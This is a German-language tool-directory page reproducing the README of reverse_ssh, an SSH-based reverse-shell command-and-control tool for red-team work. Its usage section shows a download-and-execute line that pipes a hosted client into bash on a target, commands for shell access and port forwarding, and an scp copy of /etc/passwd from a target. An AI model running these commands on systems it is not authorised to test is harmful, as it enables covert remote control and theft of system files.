Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
reverse_ssh — SSH-basiertes Reverse-Shell-Verwaltungstool mit nativer SCP/SFTP-Unterstützung, mehreren Transportprotokollen, Windows-DLL-Generierung und dateiloser Ausführung für Red-Team-Operationen. | Kitploit
Tools/GitHubGitHub/nhas/reverse_ssh
ShellcodeShellcode-Generierung
GitHubnhas/reverse_ssh

reverse_ssh

SSH-basiertes Reverse-Shell-Verwaltungstool mit nativer SCP/SFTP-Unterstützung, mehreren Transportprotokollen, Windows-DLL-Generierung und dateiloser Ausführung für Red-Team-Operationen.

Repository anzeigen
1.4k18435vor 23 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reverse SSH

icon
(Bildnachweis: https://www.instagram.com/smart.hedgehog.art/)

Möchten Sie SSH für Reverse-Shells verwenden? Jetzt ist es möglich.

  • Reverse Shells mit nativer SSH-Syntax verwalten und verbinden
  • Dynamisches, lokales und entferntes Forwarding
  • Native SCP- und SFTP-Implementierungen zum Abrufen von Dateien von Ihren Zielen
  • Vollständige Windows-Shell
  • Mehrere Netzwerktransporte wie http, websockets, tls und mehr
  • Gegenseitige Client- und Server-Authentifizierung zur Erstellung hochvertrauenswürdiger Kontrollkanäle Und mehr!```text +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------+ +---------+ | | | | | | | | | Human | SSH | | SSH | +---------+ | Client +-------->+ <-----------------+ | | | | | | | RSSH | +---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1


- [Reverse SSH](#reverse-ssh)
  - [TL;DR](#tldr)
    - [Einrichtung](#setup)
    - [Grundlegende Nutzung](#basic-usage)
  - [Sponsoren](#sponsors)
    - [Einzelpersonen](#individuals)
    - [Unternehmen](#companies)
  - [Ausgefallene Funktionen](#fancy-features)
    - [Berechtigungen](#privileges)
    - [Automatische Rückverbindung](#automatic-connect-back)
    - [Reverse-Shell-Download (Client-Generierung und integrierter HTTP-Server)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [Alternative Transporte (HTTP/Websockets/TLS)](#alternate-transports-httpwebstockets-tls)
    - [Bash-Autovervollständigung](#bash-autocomplete)
    - [Windows-DLL-Generierung](#windows-dll-generation)
    - [SSH-Subsysteme](#ssh-subsystems)
      - [Alle](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Windows-Dienstintegration](#windows-service-integration)
    - [Vollständige Windows-Shell-Unterstützung](#full-windows-shell-support)
    - [Webhooks](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [Dateilose Ausführung (Clients unterstützen dynamisches Herunterladen von ausführbaren Dateien, um sie als Shell auszuführen)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [Unterstützte URI-Schemata](#supported-uri-schemes)
- [Hilfe](#help)
  - [Windows](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [Fehler beim Spawnen von Sitzungen (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [Server mit `--insecure` gestartet hat immer noch `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
  - [Vordergrund vs. Hintergrund](#foreground-vs-background)
- [Spenden, Support oder etwas zurückgeben](#donations-support-or-giving-back)

## TL;DR

### Einrichtung

Die Docker-Version wird empfohlen, da sie die richtige Version von Golang und einen Cross-Compiler für Windows enthält.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

oder docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data

### Grundlegende Nutzung```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Alle Befehle unterstützen das -h Flag für Hilfe.

Dann funktionieren typische SSH-Befehle, geben Sie einfach Ihren rssh-Server als Sprunghost an.```sh

Connect to full shell

ssh -J your.rssh.server.internal:3232 dummy.machine

Start remote forward

ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

Start dynamic forward

ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

SCP

scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

## Sponsoren 

Ein großes Dankeschön an die folgenden Personen, die für das RSSH-Projekt gespendet haben und all dies möglich machen! 

### Einzelpersonen
[chikamobina](https://github.com/chikamobina) für ihre großzügigen Spenden!  
[wrighterase (ctrlzero)](https://github.com/wrighterase) für ihre Pull-Requests und Spende! 

### Unternehmen

[Carapace](https://carapace.nz/) ist ein in Neuseeland ansässiges Sicherheitsberatungsunternehmen mit einem äußerst talentierten Team von Leuten!  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)


## Ausgefallene Funktionen


### Berechtigungen
Der RSSH-Server unterstützt sehr grundlegende Benutzerberechtigungen, bei denen Benutzer, die im `data-directory`/`keys` Ordner (angegeben durch `--datadir`) gefunden werden, z.B. `data-directory/keys/jim`, als „Benutzer“ zugewiesen werden, die nur Clients sehen können, die öffentlich sind (in der `authorized_controllee_keys`-Datei ohne einen `owners`-Tag oder mit einem leeren `owners`-Tag) oder die speziell für sie bestimmt sind, z.B. `owners="jim"`.
Tool herunterladen